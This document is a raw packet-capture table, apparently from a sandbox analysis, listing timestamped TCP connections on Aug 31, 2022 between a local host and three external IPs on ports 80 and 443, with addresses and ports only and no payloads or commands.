Aug 31, 2022 14:29:21.517741919 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.517803907 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.521306038 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.521713972 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.521783113 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.564378977 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.564703941 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.564724922 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.564771891 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.642765045 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.642802000 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.642827034 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.642852068 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.642903090 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.642925978 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.642951965 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.643007040 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.643177032 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.643203974 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.643261909 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.643713951 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.643738985 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.643800020 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.799278021 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.799298048 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.799313068 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.799365044 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.799380064 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.799407959 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.799478054 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.799671888 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.799710035 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.805299044 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.805320978 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.805341005 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.805378914 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.850296974 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.850344896 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.850382090 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.850414991 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.850457907 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.923804998 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.923850060 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.923921108 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.924190998 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924232006 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924274921 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.924290895 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924329042 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924468994 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.924670935 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924730062 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924765110 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924837112 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.924906969 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924962044 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.924973011 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.925184011 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.925229073 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.925240040 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.925276041 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.925317049 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.925326109 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.017785072 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.080250025 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.080275059 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.080383062 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.080717087 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.080739021 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.080801964 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.080881119 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.080931902 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.080979109 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.081015110 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.081190109 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.081213951 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.081238031 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.089164972 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.089188099 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.089227915 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.089674950 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.089730024 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.131757021 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.131805897 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.131843090 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.131917000 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.132255077 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.132320881 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.132345915 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.132416010 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.132491112 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.204822063 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.204880953 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.204940081 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.205219984 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.205270052 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.205312967 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.205329895 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.205379009 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.205418110 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.205703974 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.205755949 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.205796957 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.205816031 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.205859900 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.205893993 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:22.205949068 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.206195116 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:22.206234932 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:24.637336016 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.637403011 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.637530088 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.696629047 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.696696997 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.771301985 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.771429062 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.819052935 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.819080114 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.819786072 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.838872910 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.879369020 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.882848978 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.882931948 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.882994890 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.883008957 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.883030891 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.883163929 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.883166075 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.883215904 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.997317076 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.997351885 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:24.997368097 CEST	49792	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:24.997379065 CEST	443	49792	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.207391977 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.207428932 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.207568884 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.207895994 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.207911015 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.250808954 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.250929117 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.271965027 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.271987915 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.272284031 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.273978949 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.299127102 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.299273968 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.299360991 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.299375057 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.299494982 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.299932957 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.299941063 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.300090075 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.300142050 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.393271923 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.393290997 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.393297911 CEST	49793	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:25.393304110 CEST	443	49793	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:25.586222887 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.586250067 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.586325884 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.633779049 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.633796930 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.712774038 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.712869883 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.755880117 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.755925894 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.756473064 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.758057117 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.799401045 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.800102949 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.800240993 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.800314903 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.800343037 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.800456047 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.800502062 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.800514936 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.800725937 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.800781012 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.839145899 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.839181900 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:25.839229107 CEST	49794	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:25.839241028 CEST	443	49794	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.046518087 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.046554089 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.046633005 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.089277029 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.089303017 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.159635067 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.159790039 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.196959019 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.197016001 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.197254896 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.198869944 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.239370108 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.242958069 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.243107080 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.243180990 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.243213892 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.243331909 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.243388891 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.243407965 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.243525028 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.243577957 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.382267952 CEST	49795	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:26.382294893 CEST	443	49795	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:26.834182024 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:26.834224939 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:26.834306002 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:26.882437944 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:26.882461071 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:26.924681902 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:26.924834013 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:26.973145008 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:26.973174095 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:26.973561049 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:26.975368977 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.006154060 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.006571054 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.006676912 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.006694078 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.006823063 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.006879091 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.006895065 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.006985903 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.007040977 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.192879915 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:27.214345932 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.214390039 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.214401960 CEST	49796	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.214411974 CEST	443	49796	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.408909082 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:27.622700930 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.622762918 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.622890949 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.623296022 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.623322964 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.666450024 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.666565895 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.708240032 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.708281040 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.708916903 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.710755110 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.735697985 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.735811949 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.735889912 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.735902071 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.735929012 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.735982895 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.735994101 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.736112118 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.736170053 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.869930983 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.869978905 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:27.869997025 CEST	49797	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:27.870012045 CEST	443	49797	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.261710882 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.261755943 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.261868954 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.262187004 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.262203932 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.306689978 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.306868076 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.331899881 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.331926107 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.332156897 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.333837986 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.359534979 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.359576941 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.359605074 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.359622955 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.359631062 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.359638929 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.359671116 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.359698057 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.359740973 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.491791964 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.491835117 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.491878986 CEST	49798	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.491894007 CEST	443	49798	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.966059923 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:28.966130018 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:28.966224909 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.028947115 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.028983116 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.051702976 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:29.071155071 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.071291924 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.150758982 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.150780916 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.151468039 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.153069019 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.192626953 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.192770004 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.192861080 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.192883015 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.192956924 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.192991972 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.192998886 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.193072081 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.193110943 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.221499920 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:29.478945971 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.478991985 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.479012966 CEST	49799	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:29.479024887 CEST	443	49799	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:29.964421034 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:29.964453936 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:29.964541912 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.028863907 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.028898954 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.101444960 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.101660013 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.151770115 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.151791096 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.152172089 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.153877020 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.195380926 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.200758934 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.200804949 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.200843096 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.200884104 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.200892925 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.200902939 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.201000929 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.201039076 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.201078892 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.472568035 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.472640991 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.472687960 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.549994946 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.550031900 CEST	443	49800	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:30.550072908 CEST	49800	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:30.550084114 CEST	443	49800	172.67.188.70	192.168.2.4
